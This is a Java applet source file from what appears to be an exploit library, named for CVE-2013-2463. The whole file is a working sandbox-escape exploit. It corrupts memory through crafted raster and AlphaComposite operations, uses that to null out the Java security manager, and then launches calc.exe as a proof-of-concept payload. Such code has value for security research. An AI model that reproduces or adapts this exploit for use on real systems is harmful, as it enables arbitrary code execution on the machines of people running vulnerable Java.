/**
* Copyright (c) 2013-2014
*
* All rights reserved.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*
* The Java-Exploit-Library is licensed under the Creative Commons
* Attribution-ShareAlike 4.0 International License.
*
* Please see the provided LICENSE.txt for a full copy of the agreement.
*/
package cve20132463;
import java.applet.Applet;
import java.awt.AlphaComposite;
import java.awt.CompositeContext;
import java.awt.image.DataBufferByte;
import java.awt.image.IndexColorModel;
import java.awt.image.MultiPixelPackedSampleModel;
import java.awt.image.Raster;
import java.awt.image.WritableRaster;
import java.security.AccessControlContext;
import java.security.AllPermission;
import java.security.CodeSource;
import java.security.Permissions;
import java.security.ProtectionDomain;
import java.security.cert.Certificate;
import java.beans.Statement;
public class Alt2 extends Applet {
private boolean _is64 = System.getProperty("os.arch", "").contains("64");
public void init() {
try {
for (int i = 1; (i <= 5) && (isSecManNotNull()); i++) {
attempt();
}
if (isSecManNotNull()) {
System.exit(0);
}
Runtime.getRuntime().exec(new String[] { "calc.exe" });
} catch (Exception localException) {
System.exit(0);
}
}
public static boolean isSecManNotNull() {
return System.getSecurityManager() != null;
}
private int attempt() {
try {
Class localClass = getSystemClass();
String str = "setSecurityManager";
Object[] arrayOfObject1 = new Object[1];
Object localObject = new Statement(localClass, str, arrayOfObject1);
DataBufferByte localDataBufferByte1 = new DataBufferByte(9);
int[] arrayOfInt = new int[8];
Object[] arrayOfObject2 = new Object[7];
arrayOfObject2[2] = new Statement(localClass, str, arrayOfObject1);
Permissions localPermissions = new Permissions();
localPermissions.add(new AllPermission());
arrayOfObject2[3] = new AccessControlContext(new ProtectionDomain[] { new ProtectionDomain(new CodeSource(null, new Certificate[0]),
localPermissions) });
arrayOfObject2[4] = ((Statement) arrayOfObject2[2]).getTarget();
int i = arrayOfInt.length;
DataBufferByte localDataBufferByte2 = new DataBufferByte(8);
for (int j = 0; j < 8; j++)
localDataBufferByte2.setElem(j, -1);
MultiPixelPackedSampleModel localMultiPixelPackedSampleModel1 = new MultiPixelPackedSampleModel(0, 4, 1, 1, 4, 0);
WritableRaster localWritableRaster1 = Raster.createWritableRaster(localMultiPixelPackedSampleModel1, localDataBufferByte2, null);
MultiPixelPackedSampleModel localMultiPixelPackedSampleModel2 = new MultiPixelPackedSampleModel(0, 4, 2, 1, 1073741789 - (this._is64 ? 16 : 0),
288 + (this._is64 ? 128 : 0));
WritableRaster localWritableRaster2 = Raster.createWritableRaster(localMultiPixelPackedSampleModel2, localDataBufferByte1, null);
byte[] arrayOfByte = { 0, -1 };
IndexColorModel localIndexColorModel = new IndexColorModel(1, 2, arrayOfByte, arrayOfByte, arrayOfByte);
CompositeContext localCompositeContext = AlphaComposite.Src.createContext(localIndexColorModel, localIndexColorModel, null);
localCompositeContext.compose(localWritableRaster1, localWritableRaster2, localWritableRaster2);
int k = arrayOfInt.length;
if (k == i)
return 1;
int m = 0;
int n = arrayOfObject2.length;
for (int i1 = i + 2; i1 < i + 32; i1++)
if ((arrayOfInt[(i1 - 1)] == n) && (arrayOfInt[i1] == 0) && (arrayOfInt[(i1 + 1)] == 0) && (arrayOfInt[(i1 + 2)] != 0)
&& (arrayOfInt[(i1 + 3)] != 0) && (arrayOfInt[(i1 + 4)] != 0) && (arrayOfInt[(i1 + 5)] == 0) && (arrayOfInt[(i1 + 6)] == 0)) {
int i2 = arrayOfInt[(i1 + 4)];
for (int i3 = i1 + 7; i3 < i1 + 7 + 64; i3++)
if (arrayOfInt[i3] == i2) {
arrayOfInt[(i3 - 1)] = arrayOfInt[(i1 + 3)];
m = 1;
break;
}
if (m != 0)
break;
}
if (m != 0)
try {
((Statement) arrayOfObject2[2]).execute();
} catch (Exception localException2) {
}
} catch (Exception localException1) {
}
return 0;
}
public static Class getSystemClass() {
return System.class;
}
}